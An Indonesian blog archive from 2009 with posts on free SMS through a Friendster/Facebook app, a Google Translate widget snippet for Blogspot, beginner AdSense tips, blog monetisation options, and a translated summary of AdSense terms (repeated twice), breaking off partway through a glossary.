.

Tips n Trick SMS Gratis via Friendster dan Facebook

2009-01-07T01:18:00.003+02:00

Anda tidak punya pulsa untuk SMS keluarga di Indonesia ataupun diluar negeri sana. Jangan khawatir banyak jalan menuju roma begitu kata pepatah. Hehehe....
Oke berikut ini cara SMS gratis via FS atau FB (Facebook) anda. Semoga trick ini bisa membantu perekonomian kita ya minimal bisa ngirit uang pulsa SMS laah.

Tips n trick sms gratis via friendster ini sebetulnya telah banyak ditulis oleh para blogger namun saya hanya sekedar menambahkan saja dari sekian banyak koleksi tutorial.

Langkah-langkahnya:

1. Daftar ke Freindster atau facebook dan login.

2. Buka www.dodotext.com

4. Selanjutnya klik link Friendster pada Add Our Friendster Application

5. Klo sudah, add applicasi tersebut di profil anda

6. langkah selanjutnya, kamu setting negara tujuan SMS, Nomor HP tujuan, dan ketik SMS kamu

7. Selesai...

Untuk FACEBOOK gampang saja, tinggal buka FB login dan masuk ke www.dodotext.com klik facebook nanti otomatis akan ke Halaman add aplc fb anda. Seterusnya NEXT dan NEXT.

Semoga Bermanfaat..

Buat Blogspot Multi Bahasa

2009-01-07T00:43:00.002+02:00

Blogger, istilah yang kini semakin populer di kalangan masyarakat maya (cyber society) seakan cukup menggeser peran media cetak dan elektronik. Bayangkan! Dengan sekali posting saja seorang blogger sudah dapat menyumbangkan pemikirannya kepada bermilyar pengguna internet di seluruh dunia. Namun alangkah naifnya apabila artikel yang diposting masih menggunakan bahasa lokal (baca:nasional) yang tentunya tidak dimengerti oleh sebagian pembaca artikel dari negeri lain.

Menulis artikel, tip, puisi maupun kisah pribadi tentunya memiliki tendensi beragam dari penulisnya. Akan tetapi tentu menjadi sebuah kebanggaan tersendiri apabila tulisan yang kita posting dibaca oleh orang lain yang sama sekali belum mengenal bahasa kita. Lho ko’ bisa?

Bagi anda pengguna cms joomla pasti sudah mengenal joomfish, salah satu komponen yang bisa digunakan sebagai penerjemah website. Namun cara kerjanya masih cukup rumit karena kita harus menerjemahkannya secara manual. Artinya kita harus memiliki 1 artikel dengan 2 bahasa yang berbeda. Tentu hal ini merupakan petaka bagi yang tidak punya hobby menerjemah.

Widget Translator
Jika anda memperhatikan sidebar di sebelah kanan paling atas pada blog ini terlihat modul “select language” yang berisi 3 pilihan bahasa: Indonesia, English dan Arabic. Coba anda klik salah satu bahasa, maka secara otomatis browser akan membuka tampilan konten blog dengan bahasa yang sudah anda pilih tadi.

Perubahan bahasa tersebut sebenarnya bukanlah hasil kerja kangsofy namun kang-google lah yang berbaik hati menerjemahkan halaman blog saya dengan fasilitas widget yang ditawarkannya.
Untuk memasang widget ini pertama-tama copy-paste kode berikut ke notepad:

<a style="cursor: pointer;" target="_blank" rel="nofollow" title="English" onclick="window.open('http://mhasbi.blogspot.com'); return false;"> Indonesia <a style="cursor: pointer;" target="_blank" rel="nofollow" title="English" onclick="window.open('http://translate.google.com/translate?u='+encodeURIComponent(location.href)+'&langpair=id%7Cen&hl=en'); return false;"> English </a><a style="cursor: pointer;" target="_blank" rel="nofollow" title="Arabic" onclick="window.open('http://translate.google.com/translate?u='+encodeURIComponent(location.href)+'&langpair=id%7Car&hl=en'); return false;">Arabic</a> <a style="cursor: pointer;" target="_blank" rel="nofollow"></a> </a>

Selanjutnya lakukan perubahan pada kode berikut:
url “http://mhasbi.blogspot.com” (tekan control + f untuk mencari kode) diganti dengan url blog anda. Hal ini mendefinisikan bahwa ketika kita mengklik bahasa Indonesia maka yang akan terbuka adalah halaman default kita yang berbahasa Indonesia.

Jika semua perubahan sudah anda lakukan, langkah berikutnya login ke blogger, Pilih tata letak, klik menu tambah gadget, pilih html/javascript. Copy kode yang sudah dimodifikasi diatas ke kotak modul html/javasrcipt. Buatlah judul modul sesuai dengan keinginan anda kemudian klik tombol simpan. Untuk melihat hasilnya klik menu lihat blog.

Perlu diperhatikan bahwa google akan menerjemahkan istilah-istilah yang sudah baku dalam bahasa Indonesia. Untuk itu dalam penulisan artikel gunakanlah ejaan yang sudah disempurnakan (EYD) dan jangan sekali – kali menggunakan bahasa gaul apalagi bahasa jawa atau madura, puyeng dunk kang-google nye! (nah ini contohnya! he....).

Selamat berkreasi!

Dari : kangsofy

10 Tips & Trik Google Adsense Bagi Pemula

2009-01-06T02:07:00.004+02:00

Artikel ini ditujukan bagi para pemula yang baru mau atau sedang membuat situs dan ingin mendapatkan uang tambahan dari Google Adsense. Google Adsense sendiri merupakan program affliasi yang digunakan Google untuk menarik minat webmaster untuk ikut mempromosikan iklan Google.

Berikut 10 Tips & Trik Google Adsense bagi pemula:

1. Buat yg belum apply Google Adsense (GA) atau sering ditolak apply di adsense, mungkin bisa memulai dengan membuat Blog berbahasa Inggris di www.blogger.com - Update setidaknya 1 - 2 Bulan kalau dah OK baru apply GA.
Langkah ini kemungkinan berhasil 90% dengan catatan situs anda bukan situs illegal (hacker, porno, download crack) dan sejenisnya, serta situs juga harus sering di-update secara berkala. Blog adalah solusi gratis dan cepat, daripada netter membeli domain atau keluar uang untuk hosting. Setelah blog-nya ramai, solusi membeli domain bisa dilakukan, dan blogger menyediakan fasilitas untuk itu.

2. Sebaiknya situs netter ber-bahasa Inggris kalau Indonesia atau campuran biasanya akan jarang keluar text-ads-nya Google, yg keluar 99% iklan layanan (bisa diakalin tapi melanggar TOS - Terms of servises) kecuali situs netter sudah tahunan (lebih dari 1 - 2 tahun) baru keluar iklan bahasa Indo kalau yang campuran kadang-kadang bisa Indo dan juga bisa Inggris dan kadang-kadang bisa keluar "iklan layanan".

3. Jangan sekali-kali anda mencurangin Google karena cepat atau lambat, netter pasti ketahuan. Baca TOS dahulu karena tiap 3 - 6 bulan sekali pasti ada ketentuan baru yang makin hari saya lihat makin rumit... 90% yang punya GA pasti pernah melakukan kecurangan baik di sengaja ataupun tidak, yang paling sering curang pasti akan di ban, kalau yang jarang paling diperingatin terlebih dahulu.

4. Bagi yg ingin meningkatkan traffic situsnya secara gratis bisa memakai cara:

- Daftar di semua situs search engine terutama Google, Yahoo dan MSN (lakukan tiap 2 Minggu)
- Tukeran link / banner dgn sesama situs
- Kirim e-mail ke yg kenal-kenal saja (jangan spam) atau cantumkan signature di e-mail anda
- Pakai signature situs netter ketika posting di forum
- Mailing list kadang-kadang bisa membantu (jangan spam juga)
- Update situs dan buat semenarik dan se-informatif mungkin sehingga menarik minat untuk yang masuk
- Lakukan cara apapun asal jangan SPAM & tidak melanggar TOS GA

5. Cara lainnya netter mesti bayar dgn memasang banner di situs lain, yang anda rasa sesuai dengan apa yang anda promosikan atau pasang adword dgn Google. Jangan sekali-kali bayar situs yang menjanjikan trafik ribuan pengunjung karena sifatnya hanya sementara dan dilarang oleh GA.

6. Jangan netter melakukan spam di manapun utk promosi situs karena spammer itu dibenci kalangan dunia maya, dan yang spam biasanya reputasi situsnya akan jelek walau trafik meningkat sebentar tapi untuk jangka panjang akan berefek tidak baik, dan situs netter akan di "blacklist". Jangan jadi orang yang menyebalkan karena netter Indo sudah banyak dicap dengan reputasi buruk di internet sebagai netter yg suka cracker, bajak hak cipta, nipu bangsa sendiri dan yg terakhir mulai hobi nge-SPAM.

7. Netter bisa affiliate dengan clickbank, amazon atau yg lainnya utk nambah penghasilan situs anda. Posisi penempatan iklan yang tepat, tampilan situs dan berita yang sering di-update juga bisa menjadikan keuntungan tersendiri buat netter

8. Sebaiknya situs netter mempunyai akhiran .com atau .net (jangan domain gratis seperti .cc, atau yang berakhiran.info, dll) walau pada mulanya blogger (blogspot) dari Google cukup membantu. Hal ini dikarenakan di dunia web sangat banyak saingan dan memakai situs yang bukan berakhiran .com atau .net jarang masuk ranking top ten kecuali netter menemukan kata-kata yg unik untuk itu, atau situs netter sangat informatif dengan menyajikan berita yang bermanfaat bagi banyak orang. Kalaupun demikian butuh waktu lama untuk bisa di posisi atas kecuali netter iklankan situsnya.

9. Netter sebaiknya harus punya hobi untuk menulis artikel, karena kalau tidak situs netter hanya berisi informasi yang diambil dari situs orang lain, dan rating situs akan lamban naiknya. Kalaupun netter ambil dari situs orang lain dan terus di-edit dan di-perbagus, harap cantumin sumbernya, karena ini adalah kode etik jurnalis. Artikel kami di internet juga sering dibajak netter lain tanpa mencamtumkan sumbernya dari mana.
Belajarlah berbagi dan saling menghargai sesama netter, kalau netter termasuk orang yang suka membajak, yah mohon dikurangi dan lama-lama dihilangkan...

10. Hal terakhir yg paling penting adalah "jangan pernah menyerah", karena semua orang dan saya juga memulai dari nol. Segala sesuatu selalu ada permulaannya. Belajar, belajar dan belajar adalah kunci utama kalau mau sukses di bidang ini, dan saya juga masih melakukannya hingga hari ini

Penulis: Erwin

Menghasilkan Uang di Internet Lewat Blog

2009-01-06T01:59:00.004+02:00

2 tahun yang kalau ada yang menanyakan saya, bagaimana mendapatkan uang dari internet lewat blog? Jawab saya ketika itu hanya lewat 'Google Adsense', tapi saat ini sudah banyak pilihan...

Ketika 2 tahun yang lalu memang sudah banyak program periklanan yang bisa dipasang di blog untuk menghasilkan uang seperti lewat 'numpang iklan' amazon.com atau ikutan Adbrite. Tapi yang paling efektif menghasilkan uang pada waktu itu yah cuma Google Adsense.

Tapi saat ini banyak sekali pilihan yang mungkin kalau ditulis di sini akan sangat panjang sekali. Artikel hanya menjelaskan secara singkat bagaimana membuat blog dan mendapatkan uang dari hasil blog tersebut.

Blog dan bagiamana membuatnya?
Blog merupakan singkatan dari "web log" adalah bentuk aplikasi web yang menyerupai tulisan-tulisan (yang dimuat sebagai posting) pada sebuah halaman web umum. Tulisan-tulisan ini seringkali dimuat dalam urut terbalik (isi terbaru dahulu baru kemudian diikuti isi yang lebih lama), meskipun tidak selamanya demikian. Situs web seperti ini biasanya dapat diakses oleh semua pengguna internet sesuai dengan topik dan tujuan dari si pengguna blog tersebut. (Wikipedia)

Dengan kata lain Blog itu sebenarnya situs juga, yang biasanya hanya diurus oleh seorang penulis (dikenal dengan istilah Blogger). Profil penulis juga kadang ditampilkan di dalam situs tersebut. Ada 2 situs yang menyediakan Blog yang paling populer seperti www.blogger.com dan www.wordpress.com - Blog yang lagi naik daun ada http://multiply.com/ dan ada beberapa blog lokal yang saya lupa alamatnya.

Tips: Kamu bisa menggunakan domain gratis co.cc untuk alamat blog kamu - Contoh kalau alamat situs kita hosting di tempat gratis bernama yang panjang seperti: www.mhasbi.blogspot.com - kalau kita pakai domain co.cc - maka bisa disingkat menjadi www.mhasbi.co.cc - Jadi pengunjung situs akan lebih mudah ingat alamat situs kita, dan tentunya kalau mau mengetiknya juga tidak perlu panjang-panjang.
Menghasilkan Uang di Internet Lewat Blog
Di post Nov 04, 2008 Email ke teman Cetak
Mengn uang dari Blog Lokal / Blog Bahasa Indonesia
Banyak program advertising luar negeri yang mengdiskreditkan Blog berbahasa Indonesia. Yah maklum saja karena kebanyakan viewer dan pemasang iklan mereka adalah badan usaha, peorangan, dan perusahaan asing yang hanya mengerti Inggris.

Kalau 2 tahun yang lalu hampir tidak ada yang bisa menghasilkan uang di Blog berbahasa Indonesia kecuali Google Adsense yang kadang-kadang muncul iklannya. Itupun harus diakalin oleh Blogger dengan sedikit banyak memasukkan beberapa kata kunci (keyword) berbahasa Inggris.

Tapi sekarang ada beberapa pilihan antara lain:

1. KumpulBlogger - Situs ini dibuat khusus Jaringan Blogger Indonesia, supaya bisa mendapatkan alternatif penghasilan tambahan. Caranya adalah dengan menyediakan spot (ruangan) pada blognya sebagai tempat menyampaikan pesan komersial dari Advertiser. Semua Blogger boleh mamakai fasilitas ini walau ada ketentuan yang harus dipatuhi. Info lebih lanjut di SINI.

2. Adspeedy - Situs ini adalah portal periklanan online yang berfungsi untuk mempertemukan Advertiser (pemilik iklan) maupun Publisher (penerbit iklan). Dengan adanya berbagai fasilias unggulan yang siap pakai, adspeedy.com kiranya dapat memberikan nuansa baru dalam dunia periklanan online di Indonesia.

Sistem kerja Adspeedy hampir sama dengan Google Adsense dimana tiap view dari iklan (CPM), Blogger Iklan mesti di-approve dahulu oleh admin sebelum iklan bisa menghasilkan uang. Info lebih lanjut di SINI.

3. Kliksaya - Situs ini sudah kami review, jadi untuk jelasnya silahkan baca di SINI. Situs ini tidak cocok untuk Blogger pemula, karena target situs disetujui untuk muncul iklannya adalah minimum 10.000 view perbulan.

4. PPCIndo | AdsenseCamp | IndoFad - Ketiga situs ini juga sama fungsinya dengan situs-situs di atas. Yang bedanya dari semua situs ini adalah penghasilan per-kliknya. Rata-rata berkisar antara 100 - 700 rupiah. Selain itu masing-masing situs juga ada kelebihan dan kekurangannya. Silahkan masuk ke masing-masing situs untuk mempelajarinya secara detil.

Menghasilkan uang dari Blog berbahasa Inggris

Nah kalau Blog-nya berbahasa Inggris, mungkin bisa mendapatkan uang dengan memasang iklan dari situs-situs di bawah ini:

1. Google Adsense - Merupakan situs periklanan yang paling populer di dunia. Tapi untuk apply-nya kadang-kadang susah, dan aturannya sangat banyak, plus perlu dipatuhi oleh Blogger, kalau tidak pasti di-BAN (di-PHK).

2. WidgetBucks - Secara konsep WidgetBucks (WB) mirip dengan Google Adsense (GA), bedanya adalah WB lebih fokus ke produk tertentu, dan para pengiklannya kebanyakan adalah toko-toko online. Enaknya WB menerima pembayaran lewat Paypal, jadi tidak perlu repot-repot untuk mencairkan cek seperti di GA, yang kadang-kadang tidak diterima semua bank di Indonesia.

3. Chitika - Konsep situs ini agak berbeda dengan WB & GA, tapi secara prinsip hampir sama. Perbedaan terutama terlihat di tampilan yang lebih baik. Sayangnya traffik Chitika hanya diperuntukkan untuk akses dari Amerika dan Kanada saja, di luar itu iklan tidak akan muncul.

Selain itu ada banyak situs lagi yang bisa menghasilkan uang buat Blog netter seperti Adbrite, Clicksor, bidvertiser dan lainnya. Pembahasan ini akan kami bahas lebih lanjut selanjutnya di artikel "10 pilihan alternatif selain Google Adsense" .

Aturan (ToS) Google AdSense Yang Harus Dimengerti Publisher

2009-01-06T01:50:00.006+02:00

Banyaknya netter Indonesia yang di-ban oleh Google Adsense menyebabkan reputasi publisher Indo cacat di mata Google, dan mungkin ke depannya Google akan membatasi apply publisher oleh netter Indonesia. Informasi di bawah ini yang diterjemahkan dari Google Adsense mungkin bisa membantu netter untuk mengatasi di-ban akibat tidak paham akan peraturan Google Adsense:

Klik dan Impresi Yang Tidak Valid

Segala klik pada ad units harus berasal murni dari keinginan pengunjung. Berbagai cara untuk menciptakan klik atau impresi pada ad units secara keras tidak diperbolehkan. Ini meliputi, tapi tidak terbatas pada, klik atau impresi berulang yang dilakukan secara manual maupun otomatis, penggunaan layanan pihak ketiga yang menghasilkan klik atau impresi seperti program paid-to-click, paid-to-surf, autosurf, dan click exchange / click club, ataupun software yang sejenis. Sebagai catatan, melakukan klik terhadap ad unitsi sendiri juga dilarang. Segala bentuk pelanggaran terhadap aturan ini dapat mengakibatkan keanggotaan AdSense Anda dihapuskan.
Mendorong Terjadinya Klik

Untuk meyakinkan hasil yang optimal baik bagi pemasang iklan maupun pengunjung situs, publisher tidak diperbolehkan untuk meminta pengunjung mengklik iklan AdSense yang ada pada situs mereka ataupun menggunakan cara2 yang tersembunyi untuk menghasilkan klik. Jika dijabarkan, publisher AdSense:

* Tidak diperbolehkan untuk mendorong pengunjung mengklik ad units mereka dengan menggunakan kata2 seperti “click the ads,” “support us,” “visit these links,” dan kata2 lain yg sejenis.
* Tidak diperbolehkan untuk menarik perhatian pengunjung ke iklan yg ada dengan menggunakan panah atau gambar2 lain yg sejenis.
* Tidak diperbolehkan untuk meletakkan gambar di sekitar ad units yg dapat membuat pengunjung mengira bahwa gambar tersebut adalah bagian dari iklan.
* Tidak diperbolehkan untuk mempromosikan situs yg memasang ad units AdSense melalui spam ataupun cara2 yg tidak benar pada situs lain.
* Tidak diperbolehkan untuk memberi komisi kepada pengunjung untuk mengklik iklan ataupun melakukan search pada Google For Search.
* Tidak diperbolehkan untuk memasang label di atas ad units AdSense yg dapat menyebabkan kesalahpahaman. Sebagai contoh, ad units boleh ditandai dengan “Sponsored Links”, tapi tidak dengan “Favorite Sites”.

Isi Situs

Publisher hanya diperbolehkan untuk memasang iklan AdSense pada situs2 yg mengikuti aturan Google, selain itu, iklan tidak boleh dipasang pada halaman dimana isi utamanya menggunakan bahasa yg tidak didukung oleh Google AdSense (termasuk Indonesia).

Ad unit AdSense tidak boleh dipasang pada situs yg mengandung:

* Kekerasan, rasis, atau saran untuk melawan/membenci orang lain, grup, maupun organisasi.
* Pornografi dan hal2 yg bersifat dewasa.
* Hacking/cracking.
* Obat2an terlarang.
* Kata2 kotor yg berlebihan.
* Judi dan kasino.
* Ajakan atau tawaran komisi/kompensasi kepada pengunjung untuk mengklik iklan atau tawaran, melakukan search, membrowsing situs (autosurf, paid-to-surf, dll), maupun membaca email (paid-to-read email).
* Penggunaan kata kunci yg berulang, berlebihan, maupun tidak relevan dengan situs, baik pada content maupun kode halaman (HTML).
* Menipu atau memanipulasi isi halaman untuk meningkatkan ranking mesin pencari dari situs yg bersangkutan.
* Menjual atau menawarkan senjata maupun amunisinya.
* Menjual atau menawarkan bir atau minuman dengan kadar alkohol tinggi.
* Menjual atau menawarkan rokok atau produk2 yg berhubungan dng rokok.
* Menjual atau menawarkan obat2an terlarang.
* Menjual atau menawarkan replikasi atau imitasi dari suatu produk.
* Menjual atau menawarkan tugas kuliah, skripsi, dan sejenisnya.
* Berisi atau mempromosikan hal2 yg bersifat ilegal / melanggar hukum.

Materi Yg Dilindungi Hukum

Publisher tidak diperbolehkan untuk memasang ad units AdSense pada situs yg berisi materi2 yg dilindungi oleh hukum, kecuali mereka memiliki ijin untuk itu. Hukum yg digunakan adalah hukum DMCA, mengenai digital media.
Aturan Webmaster

Publisher AdSense diwajibkan untuk memenuhi aturan kualitas webmaster yg tercantum pada http://www.google.com/webmasters/guidelines.html.
Penggunaan Situs dan Iklan

Situs yang menggunakan iklan AdSense disarankan untuk memiliki navigasi yg mudah untuk pengunjung dan tidak mengandung pop-up yg berlebihan. Pemasangan kode AdSense juga harus sesuai dengan yg diberikan, tanpa adanya modifikasi apapun. Ini termasuk tidak diperbolehkannya untuk mengubah perilaku / cara kerja iklan dalam bentuk apa pun.

* Situs yg menggunakan ad units AdSense tidak boleh menggunakan pop-up atau pop-under yg mengganggu pengunjung, menarik minat pengunjung, merubah setting browser, me-redirect pengunjung ke situs lain, maupun melakukan proses download.
* Kode AdSense harus dipasang sesuai dengan yang diberikan tanpa adanya modifikasi. Publisher tidak diperbolehkan untuk mengubah bagian apapun dari kode tersebut atau merubah cara kerja kode, pentargetan, ataupun penampilan iklan. Sebagi contoh, klik pada iklan AdSense tidak boleh terbuka pada jendela browser baru.
* Situs atau suatu perusahaan tidak diperbolehkan untuk menampilkan iklan AdSense, search box AdSense, hasil pencarian, dan tombol referral pada aplikasi / software apapun, termasuk toolbar.
* Situs yg menggunakan iklan AdSense tidak boleh mendapatkan trafik dari situs / software lain dengan cara2 yg tidak alami, seperti pop-up, redirect, dan sejenisnya.
* Penawaran referral harus dilakukan tanpa adanya tawaran atau perjanjian tertentu dengan pengunjung. Publisher juga tidak diperbolehkan untuk meminta alamat email dari pengunjung yg menjaid referral AdSense mereka.

Penempatan Iklan

AdSense menawarkan beberapa format iklan yg dapat digunakan oleh publisher. Publisher disarankan untuk bereksperimen dengan berbagai penempatan iklan, tanpa melanggar aturan2 berikut:

* Maksimal tiga ad units dalam satu halaman.
* Maksimal dua search box Google AdSense for Search dalam satu halaman.
* Maksimal satu link units dalam satu halaman.
*
* Maksimal dua referral units dari masing2 produk referral yg ada.
* Hasil pencarian AdSense for Search hanya boleh ditampilkan pada halaman yg mengandung maksimal satu link units.
* Tidak diletakkan pada pop-up, pop-under, maupun email.
* Tidak ada elemen halaman apapun yg menutupi sebagian/seluruh bagian iklan.
* Iklan AdSense apapun tidak boleh diletakkan pada halaman yg tidak berisi apa2.
* Iklan AdSense apapun tidak boleh diletakkan pada halaman yg dibuat sepenuhnya dalam rangka untuk menampilkan iklan (MFA), tidak peduli apakah isi halaman tersebut relevan atau tidak.

Iklan atau Layanan Dari Pihak Lain

Untuk menghindari kebingungan pengunjung, Google tidak memperbolehkan untuk memasang iklan maupun search box AdSense pada situs yg juga mengandung iklan maupun search box dari pihak lain yg menggunakan format tampilan (bentuk, ukuran, dan warna) yg sama dengan iklan dan search box AdSense yg ada di halaman tersebut.

Aturan (ToS) Google AdSense Yang Harus Dimengerti Publisher

2009-01-06T01:50:00.005+02:00

Segala klik pada ad units harus berasal murni dari keinginan pengunjung. Berbagai cara untuk menciptakan klik atau impresi pada ad units secara keras tidak diperbolehkan. Ini meliputi, tapi tidak terbatas pada, klik atau impresi berulang yang dilakukan secara manual maupun otomatis, penggunaan layanan pihak ketiga yang menghasilkan klik atau impresi seperti program paid-to-click, paid-to-surf, autosurf, dan click exchange / click club, ataupun software yang sejenis. Sebagai catatan, melakukan klik terhadap ad unitsi sendiri juga dilarang. Segala bentuk pelanggaran terhadap aturan ini dapat mengakibatkan keanggotaan AdSense Anda dihapuskan.

Untuk meyakinkan hasil yang optimal baik bagi pemasang iklan maupun pengunjung situs, publisher tidak diperbolehkan untuk meminta pengunjung mengklik iklan AdSense yang ada pada situs mereka ataupun menggunakan cara2 yang tersembunyi untuk menghasilkan klik. Jika dijabarkan, publisher AdSense:

* Tidak diperbolehkan untuk mendorong pengunjung mengklik ad units mereka dengan menggunakan kata2 seperti “click the ads,” “support us,” “visit these links,” dan kata2 lain yg sejenis.
* Tidak diperbolehkan untuk menarik perhatian pengunjung ke iklan yg ada dengan menggunakan panah atau gambar2 lain yg sejenis.
* Tidak diperbolehkan untuk meletakkan gambar di sekitar ad units yg dapat membuat pengunjung mengira bahwa gambar tersebut adalah bagian dari iklan.
* Tidak diperbolehkan untuk mempromosikan situs yg memasang ad units AdSense melalui spam ataupun cara2 yg tidak benar pada situs lain.
* Tidak diperbolehkan untuk memberi komisi kepada pengunjung untuk mengklik iklan ataupun melakukan search pada Google For Search.
* Tidak diperbolehkan untuk memasang label di atas ad units AdSense yg dapat menyebabkan kesalahpahaman. Sebagai contoh, ad units boleh ditandai dengan “Sponsored Links”, tapi tidak dengan “Favorite Sites”.

Isi Situs

Publisher hanya diperbolehkan untuk memasang iklan AdSense pada situs2 yg mengikuti aturan Google, selain itu, iklan tidak boleh dipasang pada halaman dimana isi utamanya menggunakan bahasa yg tidak didukung oleh Google AdSense (termasuk Indonesia).

Ad unit AdSense tidak boleh dipasang pada situs yg mengandung:

* Kekerasan, rasis, atau saran untuk melawan/membenci orang lain, grup, maupun organisasi.
* Pornografi dan hal2 yg bersifat dewasa.
* Hacking/cracking.
* Obat2an terlarang.
* Kata2 kotor yg berlebihan.
* Judi dan kasino.
* Ajakan atau tawaran komisi/kompensasi kepada pengunjung untuk mengklik iklan atau tawaran, melakukan search, membrowsing situs (autosurf, paid-to-surf, dll), maupun membaca email (paid-to-read email).
* Penggunaan kata kunci yg berulang, berlebihan, maupun tidak relevan dengan situs, baik pada content maupun kode halaman (HTML).
* Menipu atau memanipulasi isi halaman untuk meningkatkan ranking mesin pencari dari situs yg bersangkutan.
* Menjual atau menawarkan senjata maupun amunisinya.
* Menjual atau menawarkan bir atau minuman dengan kadar alkohol tinggi.
* Menjual atau menawarkan rokok atau produk2 yg berhubungan dng rokok.
* Menjual atau menawarkan obat2an terlarang.
* Menjual atau menawarkan replikasi atau imitasi dari suatu produk.
* Menjual atau menawarkan tugas kuliah, skripsi, dan sejenisnya.
* Berisi atau mempromosikan hal2 yg bersifat ilegal / melanggar hukum.

Materi Yg Dilindungi Hukum

Publisher tidak diperbolehkan untuk memasang ad units AdSense pada situs yg berisi materi2 yg dilindungi oleh hukum, kecuali mereka memiliki ijin untuk itu. Hukum yg digunakan adalah hukum DMCA, mengenai digital media.
Aturan Webmaster

Publisher AdSense diwajibkan untuk memenuhi aturan kualitas webmaster yg tercantum pada http://www.google.com/webmasters/guidelines.html.
Penggunaan Situs dan Iklan

Situs yang menggunakan iklan AdSense disarankan untuk memiliki navigasi yg mudah untuk pengunjung dan tidak mengandung pop-up yg berlebihan. Pemasangan kode AdSense juga harus sesuai dengan yg diberikan, tanpa adanya modifikasi apapun. Ini termasuk tidak diperbolehkannya untuk mengubah perilaku / cara kerja iklan dalam bentuk apa pun.

* Situs yg menggunakan ad units AdSense tidak boleh menggunakan pop-up atau pop-under yg mengganggu pengunjung, menarik minat pengunjung, merubah setting browser, me-redirect pengunjung ke situs lain, maupun melakukan proses download.
* Kode AdSense harus dipasang sesuai dengan yang diberikan tanpa adanya modifikasi. Publisher tidak diperbolehkan untuk mengubah bagian apapun dari kode tersebut atau merubah cara kerja kode, pentargetan, ataupun penampilan iklan. Sebagi contoh, klik pada iklan AdSense tidak boleh terbuka pada jendela browser baru.
* Situs atau suatu perusahaan tidak diperbolehkan untuk menampilkan iklan AdSense, search box AdSense, hasil pencarian, dan tombol referral pada aplikasi / software apapun, termasuk toolbar.
* Situs yg menggunakan iklan AdSense tidak boleh mendapatkan trafik dari situs / software lain dengan cara2 yg tidak alami, seperti pop-up, redirect, dan sejenisnya.
* Penawaran referral harus dilakukan tanpa adanya tawaran atau perjanjian tertentu dengan pengunjung. Publisher juga tidak diperbolehkan untuk meminta alamat email dari pengunjung yg menjaid referral AdSense mereka.

Penempatan Iklan

AdSense menawarkan beberapa format iklan yg dapat digunakan oleh publisher. Publisher disarankan untuk bereksperimen dengan berbagai penempatan iklan, tanpa melanggar aturan2 berikut:

* Maksimal tiga ad units dalam satu halaman.
* Maksimal dua search box Google AdSense for Search dalam satu halaman.
* Maksimal satu link units dalam satu halaman.
*
* Maksimal dua referral units dari masing2 produk referral yg ada.
* Hasil pencarian AdSense for Search hanya boleh ditampilkan pada halaman yg mengandung maksimal satu link units.
* Tidak diletakkan pada pop-up, pop-under, maupun email.
* Tidak ada elemen halaman apapun yg menutupi sebagian/seluruh bagian iklan.
* Iklan AdSense apapun tidak boleh diletakkan pada halaman yg tidak berisi apa2.
* Iklan AdSense apapun tidak boleh diletakkan pada halaman yg dibuat sepenuhnya dalam rangka untuk menampilkan iklan (MFA), tidak peduli apakah isi halaman tersebut relevan atau tidak.

Iklan atau Layanan Dari Pihak Lain

Untuk menghindari kebingungan pengunjung, Google tidak memperbolehkan untuk memasang iklan maupun search box AdSense pada situs yg juga mengandung iklan maupun search box dari pihak lain yg menggunakan format tampilan (bentuk, ukuran, dan warna) yg sama dengan iklan dan search box AdSense yg ada di halaman tersebut.

Istilah-istilah Google Adsense yang Harus Diketahui Oleh Netter & Publisher

2009-01-06T01:27:00.001+02:00

Bagi pemula yg baru mengenal AdSense mungkin belum mengetahui istilah2 yg sering dipergunakan. Berhubung pepatah mengatakan “Tak Kenal Maka Tak Sayang”, maka tidak ada salahnya untuk mempelajari terlebih dahulu arti dari istilah2 tersebut sebelum mempelajari lebih jauh mengenai AdSense.

Publisher

Publisher adalah orang atau pemilik situs yg sudah bergabung dengan Google AdSense dan sudah pula memasang iklan AdSense di situs mereka.
Ad Units

Yg dimaksud dengan Ad Units ya iklan AdSense itu sendiri. Ad Units ini terdiri dari beberapa jenis dan ukuran. Yg paling umum adalah jenis Text Ads (lihat gambar di bawah). Pada saat pengunjung meng-klik unit iklan ini, maka, jika valid, publisher akan mendapatkan pemasukan sesuai dengan nilai CPC-nya.

Text Ads Images

Untuk lebih jelasnya, perhatikan contoh masing2 jenis dan ukuran Ad Units di sini.
Dalam satu halaman, publisher diperbolehkan untuk memasang maksimal tiga buah Ad Units.
Link Units

Link Units hampir sama dengan Ad Units, hanya saja formatnya mirip dengan format menu yg biasa kita temui di situs2 web. Perhatikan gambar berikut:

Links Unit Images

Contoh lain dapat dilihat di sini.

Yg membedakan Link Units dengan Ad Units adalah pada saat pengunjung meng-klik iklan ini, maka ia akan diarahkan pada halaman hasil pencarian di search engine Google. Publisher baru akan mendapatkan pemasukan apabila pengunjung meng-klik salah satu Ad Unit yg ada di halaman tersebut. Pada prakteknya, Link Units terbukti menghasilkan pemasukan lebih banyak dibandingkan Ad Units biasa.
Dalam satu halaman situs, publisher diperbolehkan untuk memasang satu buah Link Units saja.
AdSense for Content

Yg dimaksud AdSense for Content adalah iklan AdSense yg dipasang di dalam suatu halaman. Iklan2 yg muncul adalah iklan2 yg berhubungan dng isi halaman tersebut. Atau istilahnya menggunakan konsep contextual. Ad Units dan Link Units adalah yg termasuk dalam AdSense for Content ini.
Alternate Ads

Pada AdSense for Content, iklan tidak selalu muncul. Sebabnya antara lain bisa karena memang stok iklan yg berhubungan dengan isi situs sudah habis atau Google tidak dapat memperkirakan apa isi situs itu sebenarnya. Jika ini terjadi, secara default, yg ditampilkan adalah iklan layanan masyarakat atau sering dikenal dengan istilah PSA (Public Service Ads). Karena bertipe donasi, maka jika di-klik, iklan ini tidak menghasilkan apa2 bagi publisher.

Untuk mengatasinya, Google memperbolehkan kita untuk memasang Alternate Ads atau iklan alternatif. Jika Ad Units yg dibuat telah di-setting dengan menggunakan Alternate Ads, maka apabila Ad Units tersebut tidak dapat tampil, yg muncul adalah iklan alternatif yg ter-setting didalamnya.
AdSense for Search

Selain memasang iklan, publisher AdSense juga dapat memasang form search box di situs mereka. Form ini dinamakan AdSense for Search. Apabila ada pengunjung yg melakukan pencarian dengan menggunakan form tersebut, maka ia akan dibawa menuju halaman hasil pencarian yg bersangkutan. Sama halnya dengan Link Units, publisher akan mendapat pemasukan apabila salah satu iklan yg ada di halaman tersebut di-klik.
Publisher diperbolehkan untuk memasang maksimal 2 buah form AdSense for Search dalam satu halaman. Selain itu publisher tidak diperbolehkan untuk memasang form pencarian dari pihak lain.
Referrals

